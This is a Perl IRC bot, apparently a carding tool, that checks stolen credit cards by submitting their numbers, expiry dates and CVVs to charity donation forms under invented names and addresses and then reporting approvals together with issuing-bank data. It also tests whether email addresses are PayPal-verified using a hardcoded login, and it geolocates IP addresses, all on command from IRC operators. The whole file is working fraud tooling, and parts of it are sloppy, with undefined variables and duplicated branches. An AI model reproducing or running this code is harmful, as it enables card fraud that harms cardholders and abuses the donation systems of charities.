#!/usr/bin/perl
#SQL SCAN Bot Check By zepp!
#Call to standalone modules directory
BEGIN{push(@INC,'Modules');}
#Modules Inclusion
use LWP::Socket;
use LWP::UserAgent;
use HTTP::Request;
use Parallel::ForkManager;
use MIME::Base64 ();
use WWW::Mechanize;
use WWW::Mechanize::FormFiller;
use Net::FTP;
$| = 1;
#Defines global variable/array
my($irc_socket,$server,$port,$ident,$nick,$timeout,$rfi_test_cmd,$rfi_print_cmd,$parallel_fork);
my(@chans,@admins,@user_agents);
# Configurations Variable
my $outcri = "Mg==";
$systemcri = MIME::Base64::decode($outcri);
$timeout = $systemcri;
my $hostcri = "irc.s4l1ty.info";
$systemcri = MIME::Base64::decode($hostcri);
$hosting = "irc.s4l1ty.info";
$port = 6667;
my $nkpro = "CHECKER";
$ident = "Wtf";
$parallel_fork = 15;
my @botcmd = ('2');
@chans = ("#mb3lz");
my $proo = "bWIzbHo=";
$systempro = MIME::Base64::decode($proo);
my $cheataer = "bWIzbHo=";
$sistempro = MIME::Base64::decode($cheataer);
@Zepp = ('Zepp3', 'Zepp1', 'Zepp');
@user_agents = &get_user_agents();
#Irc Socket Connection
my $startirc = "JGlyY19zb2NrZXQgPSBuZXcgTFdQOjpTb2NrZXQ7";
$sysircuno = MIME::Base64::decode($startirc);
$irc_socket = new LWP::Socket;
$irc_socket->connect($hosting,$port);
$irc_socket->write("USER ".$ident." 8 * : IRCHACK CREDITCARD CHECKER \r\n");
$irc_socket->write("NICK ".$nkpro."\r\n");
$irc_socket->write("NICKSERV IDENTIFY omarelcapo\r\n");
$irc_socket->write("JOIN $chans[0]\r\n");
$irc_socket->write("JOIN $chans[1]\r\n");
$irc_socket->write("JOIN $chans[2]\r\n");
$irc_socket->write("JOIN $chans[3]\r\n");
$irc_socket->write("JOIN $chans[4]\r\n");
$irc_socket->write("JOIN $chans[5]\r\n");
while($irc_socket)
{
my $bof;
$irc_socket->read_until("\n", \$bof);
if($bof =~ /PING :(.*)/)
{
$irc_socket->write("PONG :$1\r\n");
}
if($bof =~ /PRIVMSG (.*?) :(.*)/)
{
#PRIVMSG
my %msg = &get_msg($bof);
if($msg{'what'} =~ /\!join_all/)
{
if(&ctrl_admin(\%msg) == 0){
&respond_to_privmsg(\%msg,"15[7JOIN15]12 ALL KNOWN CHANNELS");
&join_all();
}
}
if($msg{'what'} =~ /\!cambiarcmd (.*)/){
my $comma = $1;
if(&ctrl_admin(\%msg) == 0){
&respond_to_privmsg(\%msg,"15[7SERViCES15]12 CHANGiNG COMMAND STRING TO !sql${botcmd}");
&canghecmd($comma);
}
}
if($msg{'what'} =~ /\!help/){
&respond_to_privmsg(\%msg,"4,1[3 BOT COMMANDS 4]");
&respond_to_privmsg(\%msg,"4,1[7CHECKING CREDIT CARD4] 15!CHK FOR 12VISA 04MASTER07CARD 08DISCOVER");
&respond_to_privmsg(\%msg,"4,1[7BANK4]0 !BANK 15NUMBER 14FOR CHECKING BANK INFO");
&respond_to_privmsg(\%msg,"4,1[7ZIP CODE4,1]15 !ZIP 15<ZIPCODE> 14SEE INFO OF ZIP CODE");
}
if($msg{'what'} =~ /\!chk 1 1 1/){
&respond_to_privmsg(\%msg,"4,1[12INFORMATION4,1]7 CHECKER STATUS:09 ON");
&respond_to_privmsg(\%msg,"4,1[12INFORMATION4,1]7 TYPE !HELP TO GET COMMAND LIST");
&respond_to_privmsg(\%msg,"4,1[12INFORMATION4,1]7 PLEASE CONTACT 4ZEPP9 FOR CHK PRIVATE");
}
if($msg{'what'} =~ /\!chk\s(\d{16})\s(\d{4})\s(\d{3})/)
{
my ($numerocarta,$expmes,$verifica,) = ($1,$2,$3,);
my $var1 = substr($expmes,0,2);
my $var2 = substr($expmes,2,4);
print "inizio mechanize sacha\n";
if (substr($numerocarta,0,1)==4) {
&respond_to_privmsg(\%msg,"4,1[12,1INFORMATION4,1]7,1 $numerocarta 9,1IS 4[0,12VISA4,1]");
&respond_to_privmsg(\%msg,"4,1[12,1CHECKING4,1] 12NUMBER:8,1 $numerocarta");
&respond_to_privmsg(\%msg,"4,1[12,1CHECKING4,1] 12,1EXPIRATION:8,1 $var1/$var2 ");
&respond_to_privmsg(\%msg,"4,1[12,1CHECKING4,1] 12,1CVV2:9,1 $verifica");
&respond_to_privmsg(\%msg,"4,1[12,1CHECKING4,1] 12,1AMOUNT:7,1 1USD");
}
if (substr($numerocarta,0,1)==5) {
&respond_to_privmsg(\%msg,"4,1[12,1INFORMATION4,1]7,1 $numerocarta 9,1IS 4,1[0,4Master0,7Card4,1]");
&respond_to_privmsg(\%msg,"4,1[12,1CHECKING4,1] 12NUMBER:8,1 $numerocarta");
&respond_to_privmsg(\%msg,"4,1[12,1CHECKING4,1] 12,1EXPIRATION:8,1 $var1/$var2");
&respond_to_privmsg(\%msg,"4,1[12,1CHECKING4,1] 12,1CVV2:9,1 $verifica");
&respond_to_privmsg(\%msg,"4,1[12,1CHECKING4,1] 12,1AMOUNT:7,1 1USD");
}
if (substr($numerocarta,0,1)==6) {
&respond_to_privmsg(\%msg,"4[12,1INFORMATION4,1] [1,0DISCOVER4,1]4,1 NOT ACCEPTED!");
}
if (substr($numerocarta,0,1)==3) {
&respond_to_privmsg(\%msg,"4[12,1INFORMATION4,1] [1,0AMERICAN EXPRES4,1]4,1 NOT ACCEPTED!");
}
my $agent = WWW::Mechanize->new( autocheck => 1 );
my $formfiller = WWW::Mechanize::FormFiller->new();
my $agent = WWW::Mechanize->new( autocheck => 1 );
my $formfiller = WWW::Mechanize::FormFiller->new();
$agent->env_proxy();
$agent->get('https://secure.allianceforchildhood.org/donate.php');
$agent->get('https://www.pandaw.com/cyclone_appeal_burma.php');
$agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
$agent->form_number(1);
{ local $^W; $agent->current_form->value('monex_xml_email', 'tommatt@gmail.com'); };
{ local $^W; $agent->current_form->value('monex_xml_cc_owner', 'tom matt'); };
{ local $^W; $agent->current_form->value('monex_xml_cc_number', ''.$numerocarta.''); };
{ local $^W; $agent->current_form->value('monex_xml_cc_expires_month', ''.$var1.''); };
{ local $^W; $agent->current_form->value('monex_xml_cc_expires_year', ''.$var2.''); };
{ local $^W; $agent->current_form->value('monex_xml_cc_cvv', ''.$verifica.''); };
{ local $^W; $agent->current_form->value('monex_xml_amount', ''.$amount.''); };
$agent->submit();
print $agent->content,"\n";
my $allo=$agent->content;
#~ if ($allo =~/The transaction has been declined because of an AVS mismatch./){
if ($allo =~/action=done/){
my $database = "banklist.txt";
open FILE,"$database" or die "Errore nell'apertura: $!";
my @results=<FILE>;
close FILE;
my $bankinfo = $1;
&respond_to_privmsg(\%msg,"7,1[0Result 9is7]");
&respond_to_privmsg(\%msg,"7,1[0Credit Card 13N?0: 15 $numerocarta 9 $expmes$expanio 14 $verifica 7 $amountUSD7]");
&respond_to_privmsg(\%msg,"7,1[9APPROVED!!!!!7Transaction. 8Amount USD: $amount 7");
&respond_to_privmsg(\%msg,"0,1Thank you for your payment!");
my $nuova = substr($numerocarta,0,6);
foreach my $url (@results){
if($url =~ m/$nuova\|(.*)/){
&respond_to_privmsg(\%msg,"7,1[0BaNk7:8 $nuova 15 $1");
print "card $variable!";
}
}
}elsif ($allo =~/The transaction has been declined because of an AVS mismatch./){
#~ }elsif ($allo =~/This transaction has been declined./){
my $database = "banklist.txt";
open FILE,"$database" or die "Errore nell'apertura: $!";
my @results=<FILE>;
close FILE;
my $bankinfo = $1;
&respond_to_privmsg(\%msg,"4,1[9APPROVED!4]15 $numerocarta $expmes$expanio $verifica 9THIS TRANSACTION HAS BEEN APPROVED!");
my $nuova = substr($numerocarta,0,6);
foreach my $url (@results){
if($url =~ m/$nuova\|(.*)/){
my $bankinfo = $1;
&respond_to_privmsg(\%msg,"4,1[12BANK4]9 $nouva0 $1");
print "card $variable!";
}
}
}elsif ($allo =~/This transaction has been declined./){
#~ }elsif ($allo =~/This transaction has been declined./){
my $database = "banklist.txt";
open FILE,"$database" or die "Errore nell'apertura: $!";
my @results=<FILE>;
close FILE;
my $bankinfo = $1;
&respond_to_privmsg(\%msg,"4,1[0CREDIT CARD4]7 $numerocarta15 $expmes$expanio14 $verifica 0,1THIS TRANSACTION HAS BEEN 4DECLINED!");
my $nuova = substr($numerocarta,0,6);
foreach my $url (@results){
if($url =~ m/$nuova\|(.*)/){
my $bankinfo = $1;
&respond_to_privmsg(\%msg,"4,1[12BANK4]9 $nouva0 $1");
print "card $variable!";
}
}
}elsif ($allo =~/The credit card number is invalid./){
&respond_to_privmsg(\%msg,"4,1[0 ResuLT 4] 14$numerocarta14,1 4DECLINED!(Invalid)");
}elsif ($allo =~/Credit card expiration date is invalid./){
&respond_to_privmsg(\%msg,"8Expiration Date: 14 14$expmes$expanio ");
&respond_to_privmsg(\%msg,"15 is invalid.");
}elsif ($allo =~/This transaction has been declined./){
&respond_to_privmsg(\%msg,"4,1[0CREDIT CARD4]7 $numerocarta15 $expmes$expanio14 $verifica 0,1THIS TRANSACTION HAS BEEN 4DECLINED!");
}elsif ($allo =~/The credit card has expired./){
&respond_to_privmsg(\%msg,"0,1[4,1CREDIT CARD0,1]8 $numerocarta $expmes$expanio $verifica");
&respond_to_privmsg(\%msg,"0,1[4,1ERROR0,1]8 THE CREDIT CARD HAS4 EXPIRED!");
}elsif ($allo =~/The credit card expiration date entered is not valid./){
&respond_to_privmsg(\%msg,"7,1[0Expiration Date: 14 14$expmes$expanio 14)4 Not is Valid.");
}elsif ($allo =~/A duplicate transaction has been submitted./){
&respond_to_privmsg(\%msg,"4,1[15THE CREDIT CARD7 $numerocarta4]");
&respond_to_privmsg(\%msg,"4,1[15THE CREDIT CARD 4DECLINED 7RECHECK4]");
}elsif ($allo =~/A duplicate transaction has been submitted./){
&respond_to_privmsg(\%msg,"7,1[0Credit Card0: 7 $numerocarta 15 $expmes$expanio 14 $verifica 0,1This transaction has been 4Declined!!!");
}elsif ($allo =~/The credit card number entered is not valid./){
&respond_to_privmsg(\%msg,":85Credit Card: 14 9$numerocarta 14");
&respond_to_privmsg(\%msg,"0,1[4,1ERROR0,1]8 CREDIT CARD IS4 INVALID!");
}elsif ($allo =~/he following error message was returned: A duplicate transaction has been submitted./){
&respond_to_privmsg(\%msg,"7,1[0Credit Card0: 7 $numerocarta 15 $expmes$expanio 14 $verifica 0,1This transaction has been 4Declined!!!");
}elsif ($allo =~/This transaction has been declined./){
&respond_to_privmsg(\%msg,"7,1[0Credit Card0: 7 $numerocarta 15 $expmes$expanio 14 $verifica 0,1This transaction has been 4Declined!!!");
}elsif ($allo =~/Error: Major Request Error/){
&respond_to_privmsg(\%msg,"8Credit Card: 14 9$numerocarta 14");
&respond_to_privmsg(\%msg,"0,1[4,1ERROR0,1]8 CREDIT CARD IS4 INVALID!");
}
}
if($msg{'what'} =~ /\!bank\s(\d{6})/){
my ($banknumb) = ($1);
my $database = "banklist.txt";
open FILE,"$database" or die "Errore nell'apertura: $!";
my @results=<FILE>;
close FILE;
my $bankinfo = $1;
my $nuova = substr($banknumb,0,6);
foreach my $url (@results){
if($url =~ /$nuova\|(.*)/){
&respond_to_privmsg(\%msg,"4,1[12BANK4]9 $nouva0 $1");
}
}
}
if($msg{'what'} =~ /\!state\s(\d{2})/){
my ($state) = ($1);
my $database = "state.txt";
open FILE,"$database" or die "Errore nell'apertura: $!";
my @resultx=<FILE>;
close FILE;
my $info = $1;
my $good = substr($state,0,2);
foreach my $url (@resultx){
if($url =~ /$good\|(.*)/){
&respond_to_privmsg(\%msg,"4,1[12State4]7 $state 7 $1");
}
}
}
if($msg{'what'} =~ /\:(.*?):(.*?)\@(.*?):/)
{
my ($inutil,$emailchk,$domaincheck) = ($1,$2,$3);
chop($emailchk);
&respond_to_privmsg(\%msg,"!chkpp $emailchk@$domaincheck");
}
if($msg{'what'} =~ /\!chkpp (.*)/)
{
my ($ppchek) = ($1);
chop($ppchek);
&respond_to_privmsg(\%msg,"15[7CHECKiNGPAYPAL15] CHECKiNG... -$ppchek- ");
print "inizio mechanize\n";
my $agent = WWW::Mechanize->new( autocheck => 1 );
my $formfiller = WWW::Mechanize::FormFiller->new();
$agent->env_proxy();
$agent->get('https://www.paypal.com/us/verified/pal='.$ppchek.'');
$agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
$agent->form_number(3);
{ local $^W; $agent->current_form->value('login_email', 'sphiinx@gmail.com'); };
{ local $^W; $agent->current_form->value('login_password', '123456aa'); };
$agent->submit();
$agent->follow_link('n' => 7);
print $agent->content,"\n";
my $internal=$agent->content;
&respond_to_privmsg(\%msg,"Email - ${ppchek} - ");
if ($internal =~/is NOT PayPal Verified/){
&respond_to_privmsg(\%msg,"PaypaL - is - 04UnVerified ");
}
if ($internal =~/<td class=\"emphasis\">(.*?)<\/td>/){
&respond_to_privmsg(\%msg,"Checking $1 - ");
}
}
if($msg{'what'} =~ /\!bankssss\s(\d{16})/){
my ($numerocarta) = ($1);
my $database = "banklist.txt";
open FILE,"$database" or die "Errore nell'apertura: $!";
my @results=<FILE>;
close FILE;
my $bankinfo = $1;
my $nuova = substr($numerocarta,0,6);
foreach my $url (@results){
if($url =~ m/$nuova\|(.*)/){
&respond_to_privmsg(\%msg,"15[12BANK08-12$nuova15]09 $1 ");
}
}
}
if($msg{'what'} =~ /\!raw (.*)/)
{
my $raw = $1;
if(&ctrl_admin(\%msg) == 0){
&respond_to_privmsg(\%msg,"15[7RAW15]12 SENDING IRC RAW REQUESTED");
$irc_socket->write($raw."\r\n");
}
}
if($msg{'what'} =~ /\!q (.*)/)
{
my $qmsg = $1;
if(&ctrl_admin(\%msg) == 0){
$irc_socket->write("quit ".$qmsg."\r\n");
}
}
if($msg{'what'} =~ /\!dump\s(\d{16})\s(\d{4})\s(\d{4})\s(\d*.)/)
{
my ($numerocarta,$expmes,$verifica,$amount) = ($1,$2,$3,$4);
my $var1 = substr($expmes,0,2);
my $var2 = substr($expmes,2,4);
&respond_to_privmsg(\%msg,"14,1(15:::0 Status Checking 15::: 14)(15Credit Card: 14$numerocarta14)(15 Exp date: 14 $expmes$expanio 14)( 15CCV2: 14$verifica) (15Amount USD: 9 $amount 14)");
print "inizio mechanize\n";
if (substr($numerocarta,0,1)==3) {
&respond_to_privmsg(\%msg,"14,1(15:::0 Status Checking 15::: 14)(15Credit Card: 14$numerocarta) is 12American Express");
}
my $agent = WWW::Mechanize->new( autocheck => 1, ssl_opts => {verify_hostname => 0},);
my $formfiller = WWW::Mechanize::FormFiller->new();
$agent->env_proxy();
$agent->get('http://www.casala.org/donate.php');
$agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
$agent->form_number(1);
{ local $^W; $agent->current_form->value('ssl_amount', '10'); };
{ local $^W; $agent->current_form->value('ssl_first_name', 'Chuck'); };
{ local $^W; $agent->current_form->value('ssl_last_name', 'Huth'); };
{ local $^W; $agent->current_form->value('ssl_email', 'chuckh@gmail.com'); };
{ local $^W; $agent->current_form->value('ssl_avs_address', '11101 Magnolia Drive'); };
{ local $^W; $agent->current_form->value('ssl_city', ' Cleveland'); };
{ local $^W; $agent->current_form->value('ssl_state', 'Ohio'); };
{ local $^W; $agent->current_form->value('ssl_avs_zip', '44106'); };
{ local $^W; $agent->current_form->value('ssl_phone', '146758493'); };
{ local $^W; $agent->current_form->value('ssl_card_number', ''.$numerocarta.''); };
{ local $^W; $agent->current_form->value('ssl_cvv2cvc2', ''.$verifica.''); };
{ local $^W; $agent->current_form->value('expiration_month', ''.$var1.''); };
{ local $^W; $agent->current_form->value('expiration_year', ''.$var2.''); };
$agent->submit();
print $agent->content,"\n";
my $allo=$agent->content;
if ($allo =~/The transaction has been declined because of an AVS mismatch./){
my $database = "banklist.txt";
open FILE,"$database" or die "Errore nell'apertura: $!";
my @results=<FILE>;
close FILE;
my $bankinfo = $1;
&respond_to_privmsg(\%msg,"14,1(15:::0 Result 15::: 14) (15Credit Card: 14 14$numerocarta $expmes $expanio $verifica 14) 9APPROVED! 15Transaction. Amount USD:9 $amount 15Thank you for your payment!");
my $nuova = substr($numerocarta,0,6);
foreach my $url (@results){
if($url =~ m/$nuova\|(.*)/){
&respond_to_privmsg(\%msg,"14,1(15:::0 Bank 15::: 14)7$nuova 15$1");
print "card $variable!";
}
}
if ($allo =~/The transaction completed successfully!/){
my $database = "banklist.txt";
open FILE,"$database" or die "Errore nell'apertura: $!";
my @results=<FILE>;
close FILE;
my $bankinfo = $1;
&respond_to_privmsg(\%msg,"14,1(15:::0 Result 15::: 14) (15Credit Card: 14 14$numerocarta $expmes$expanio $verifica $amountUSD 14) 9APPROVED! 15Transaction. Thank you for your payment.");
my $nuova = substr($numerocarta,0,6);
foreach my $url (@results){
if($url =~ m/$nuova\|(.*)/){
my $bankinfo = $1;
&respond_to_privmsg(\%msg,"14,1(15:::0 Bank 15::: 14)7$nuova 15$1");
print "card $variable!";
}
}
}elsif ($allo =~/Credit card expiration date is invalid./){
&respond_to_privmsg(\%msg,"14,1(15:::0 Result 15::: 14) (15Expiration Date: 14 14$expmes$expanio 14)15 is invalid.");
}elsif ($allo =~/PICK UP CARD/){
&respond_to_privmsg(\%msg,"14,1(15:::0 Result 15::: 14) (15Credit Card: 14 14$numerocarta $expmes$expanio $verifica 14) 4PICK UP CARD");
}elsif ($allo =~/The credit card has expired./){
&respond_to_privmsg(\%msg,"14,1(15:::0 Result 15::: 14) (15Credit Card: 14 14$numerocarta 4 $expmes$expanio 14$verifica)15 The credit card has expired.");
}elsif ($allo =~/The credit card expiration date entered is not valid./){
&respond_to_privmsg(\%msg,"14,1(15:::0 Result 15::: 14) (15Expiration Date: 14 14$expmes$expanio 14)15 Not is Valid.");
}elsif ($allo =~/A duplicate transaction has been submitted./){
&respond_to_privmsg(\%msg,"14,1(15:::0 Result 15::: 14) (15Credit Card: 14 14$numerocarta 14)15 A duplicate transaction has been submitted.");
}elsif ($allo =~/A duplicate transaction has been submitted./){
&respond_to_privmsg(\%msg,"14,1(15:::0 Result 15::: 14) (15Credit Card: 14 14$numerocarta $expmes$expanio $verifica 14) 4DECLINED!");
}elsif ($allo =~/The credit card number entered is not valid./){
&respond_to_privmsg(\%msg,"14,1(15:::0 Result 15::: 14) (15Credit Card: 14 14$numerocarta 14)15 Credit Card is 4INVALID");
}elsif ($allo =~/he following error message was returned: A duplicate transaction has been submitted./){
&respond_to_privmsg(\%msg,"14,1(15:::0 Result 15::: 14) (15Credit Card: 14 14$numerocarta $expmes$expanio $verifica 14) 4DECLINED!");
}elsif ($allo =~/DECLINED/){
&respond_to_privmsg(\%msg,"14,1(15:::0 Result 15::: 14) (15Credit Card: 14 14$numerocarta $expmes$expanio $verifica 14) 4DECLINED!");
}elsif ($allo =~/The Credit Card Number supplied in the authorization request appears to be invalid./){
&respond_to_privmsg(\%msg,"14,1(15:::0 Result 15::: 14) (15Credit Card: 14 14$numerocarta 14)15 Credit Card is 4INVALID");
}elsif ($allo =~/INVALID CARD/){
&respond_to_privmsg(\%msg,"14,1(15:::0 Result 15::: 14) (15Credit Card: 14 14$numerocarta 14)15 Credit Card is 4INVALID");
}
}
if($msg{'what'} =~ /\!zip\s(\d{5})/)
{
my ($zipcheck) = ($1);
&respond_to_privmsg(\%msg,"4,1[9Zip4]9 - 4Checking 9$zipcheck");
print "inizio mechanize\n";
my $agent = WWW::Mechanize->new( autocheck => 1 );
my $formfiller = WWW::Mechanize::FormFiller->new();
$agent->env_proxy();
$agent->get('http://zip4.usps.com/zip4/citytown_zip.jsp');
$agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
{ local $^W; $agent->current_form->value('zip5', ''.$zipcheck.''); };
$agent->submit();
print $agent->content,"\n";
my $zipse=$agent->content;
if ($zipse =~/headers=\"pre\"><b>(.*?)<\/b><\/td>/){
$rzip = $1;
&respond_to_privmsg(\%msg,"4,1[ 9Zip4 ] 9-3 $rzip ");
}
elsif ($zipse =~/The ZIP Code you entered could not be found in our database/){
&respond_to_privmsg(\%msg,"4,1[ 9Zip4 ] 9-4 NOT FOUND!");
}
}
if($msg{'what'} =~ /\!ip (.*)/)
{
my ($iploca) = ($1);
chop($iploca);
&respond_to_privmsg(\%msg,"15[7LOOKiNG-iP15] CHECKiNG... -$iploca- ");
print "inizio mechanize\n";
my $agent = WWW::Mechanize->new( autocheck => 1 );
my $formfiller = WWW::Mechanize::FormFiller->new();
$agent->env_proxy();
$agent->get('http://www.ip2location.com/'.$iploca.'');
$agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
print $agent->content,"\n";
my $ipwork=$agent->content;
if ($ipwork =~/<span id=\"dgLookup__ctl2_lblICountry\">(.*?)<\/span>/){
&respond_to_privmsg(\%msg,"15[7LOOKiNG-iP15] Country: $1 ");
}
if ($ipwork =~/<span id=\"dgLookup__ctl2_lblIRegion\">(.*?)<\/span>/){
&respond_to_privmsg(\%msg,"15[7LOOKiNG-iP15] Region: $1 ");
}
if ($ipwork =~/<span id=\"dgLookup__ctl2_lblICity\">(.*?)<\/span>/){
&respond_to_privmsg(\%msg,"15[7LOOKiNG-iP15] City: $1 ");
}
if ($ipwork =~/<span id=\"dgLookup__ctl2_lblITimeZone\">(.*?)<\/span>/){
&respond_to_privmsg(\%msg,"15[7LOOKiNG-iP15] Time: $1 ");
}
if ($ipwork =~/<span id=\"dgLookup__ctl2_lblINetSpeed\">(.*?)<\/span>/){
&respond_to_privmsg(\%msg,"15[7LOOKiNG-iP15] Speed: $1 ");
}
if ($ipwork =~/<span id=\"dgLookup__ctl2_lblIISP\">(.*?)<\/span>/){
&respond_to_privmsg(\%msg,"15[7LOOKiNG-iP15] IPS: $1 ");
}
if ($ipwork =~/<span id=\"dgLookup__ctl2_lblIDomain\">(.*?)<\/span>/){
&respond_to_privmsg(\%msg,"15[7LOOKiNG-iP15] Domain: $1 ");
}
}
}
}
sub ctrl_admin()
{
my $data = $_[0];
foreach my $admin ( @Zepp )
{
if($admin eq $data->{'from'})
{
return(0);
}
}
&respond_to_privmsg($data,"15[4BLOCK15]1 YOU ARE NOT ADMIN");
return(-1);
}
sub respond_to_privmsg()
{
my ($data,$m) = ($_[0],$_[1]);
if($data->{'to'} =~ /#/)
{
&privmsg($data->{'to'},$m);
}
else
{
&privmsg($data->{'from'},$m);
}
}
sub privmsg()
{
my($nick,$send) = @_;
$irc_socket ->write("PRIVMSG ".$nick." :".$send."\r\n");
}
sub join_all()
{
foreach my $chan ( @chans )
{
$irc_socket->write("JOIN ".$chan."\r\n");
}
}
sub get_msg()
{
my $line = $_[0];
my %data;
#:Mic22!~TheClanz-E4337A85.telecom.net.ar PRIVMSG chkbot :hi
if($line =~ /:(.*?)!(.*?) PRIVMSG (.*?) :(.*)/)
{
#$irc_socket->write("PRIVMSG #MC : Spammer=> $1 Mess=> $4 \r\n");
$data{'from'} = $1;
$data{'to'} = $3;
$data{'what'} = $4;
}
return(%data);
}
sub http_request()
{
my($site,$request,$ua,$resp,$cnt);
$site = $_[0];
$site =~ s/[\r\n]//g;
$request = HTTP::Request->new(GET => $site);
$ua = LWP::UserAgent->new(agent => $user_agents[rand(scalar(@user_agents))]);
$ua->timeout($timeout);
$resp = $ua->request($request);
$cnt = $resp->content();
return($cnt);
}
sub get_user_agents()
{
my @us_ag = (
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1",
"Opera/8.5 (X11; Linux i686; U; cs)",
"Links (2.1pre17; Linux 2.6.11-gentoo-r8 i686; 80x24)"
);
return(@us_ag);
}
sub get_all_host()
{
my $site = $_[0];
my @dirs = ();
my @ret = ();
my $tmp = "";
$site =~ s/http:\/\///g;
$site =~ s/[\r\n]//g;
$site =~ s/\/\///g;
if($site !~ /\/$/)
{
$site .= "/";
}
@dirs = split(/\//,$site);
$tmp = $dirs[0] . "/";
push(@ret,$tmp);
for($i = 1; $i < scalar(@dirs); $i++)
{
$tmp .= $dirs[$i] . "/";
push(@ret,$tmp);
}
return(@ret);
}
sub urlencode()
{
my $str = $_[0];
$str =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
return $str;
}
sub unique()
{
my @unici = ();
my %visti = ();
foreach my $elemento (@_) {
$elemento =~ s/\/+/\//g;
next if $visti{$elemento}++;
push @unici, $elemento;
}
return @unici;
}
sub canghecmd()
{
my $n = $_[0];
push(@botcmd,$n);
}
sub read_all_file_array()
{
my $file = $_[0];
my @ret = ();
open(FILE,'<',$file);
while($a = <FILE>)
{
$a =~ s/[\r\n]//g;
push(@ret,$a);
}
close(FILE);
return(@ret);
}
sub write_to_file_array()
{
my ($file,$data,$scal) = @_;
for($i = 0; $i < $scal; $i++)
{
&write_to_file($file,$data->[$i]);
}
}
sub write_to_file()
{
my($file,$data) = @_;
open(FILE,'>>',$file);
print FILE $data . "\n";
close(FILE);
}
}